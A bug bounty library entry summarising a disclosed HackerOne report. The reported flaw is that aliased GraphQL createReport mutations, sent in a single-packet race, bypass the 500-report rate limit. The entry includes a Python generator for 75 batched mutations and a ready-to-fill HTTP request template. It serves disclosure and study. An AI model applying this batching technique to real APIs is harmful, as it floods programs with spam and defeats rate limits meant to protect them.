# Ability to bulk submit reports via query named based batching

GraphQL query-name batching let one request create ~75 reports, bypassing HackerOne's 500-report rate limit to spam programs with thousands of reports.

- Payout: $500
- Severity: low
- Program: HackerOne
- Found by: 0x999
- Disclosed: 2024-06-19
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2166697
- Library page: https://bugbountylibrary.com/r/h1%3A2166697
- Tags: area:web domain:api domain:web impact:dos kind:bounty platform:hackerone sev:low tech:graphql technique:race-window vuln:business-logic

**Target:** GraphQL createReport mutation on hackerone.com
**Root cause:** GraphQL server executes multiple aliased createReport mutations in a single request without counting each against the per-request report-creation rate limit.
**Steps:**
1. Capture a `POST /graphql` CreateReport request with cookie and `X-Csrf-Token`.
2. Generate a mutation with 75 aliased `createReport` fields via the provided Python script.
3. Insert generated query into the request body.
4. Send via Turbo Intruder using `race-single-packet-attack.py` with 100 iterations.
5. Observe ~6400+ reports created, exceeding the 500 limit.
**How found:** Researcher noticed GraphQL supports query-name based batching and tested whether aliased createReport mutations bypass the documented 500-report limit.
**Exploitation:** Attacker with a valid session batches 75 aliased createReport mutations per request and fires ~100 requests in ~40s via Turbo Intruder single-packet attack, creating ~6400+ reports on a target program.
**Insight:** When a GraphQL API enforces per-request rate limits, test aliased batching of the same mutation to multiply side effects per request; combine with single-packet race to amplify throughput.

## Proof of concept (copied exactly from the original report)

**Python script generating batched createReport mutation**

```
def generate_query(index):
    return (
        'example' + str(index) + ': createReport(input: {team_handle: $team_handle, '
        'title: "Your Report Title", vulnerability_information: "Vulnerability Information", '
        'impact: "Impact Description", source: "Report Source"}) { '
        'was_successful errors { edges { node { id error_code field message __typename } __typename } '
        '__typename } }'
    )
queries = []
for i in range(75):
    queries.append(generate_query(i))
main_mutation = (
    'mutation BulkReports($team_handle: String!) {\n  ' +
    '\n  '.join(queries) +
    '\n}'
)
print(repr(main_mutation).replace('"','\\"').replace("'",""))
```

**GraphQL request with generated batched query**

```
POST /graphql HTTP/2
Host: hackerone.com
Cookie: {your-h1-cookie)
Content-Length: 1173
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-Csrf-Token: {your-csrf-token}
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: application/json
X-Product-Feature: inbox
Accept: */*
X-Product-Area: reports
Sec-Ch-Ua-Platform: "Linux"
Origin: https://hackerone.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

{
"operationname": "CreateReport",
"variables":{
"team_handle":"{target-team-handle}",
"product_area":"reports",
"product_feature":"inbox"
},
  "query": "{your-generated-query}"
}
```

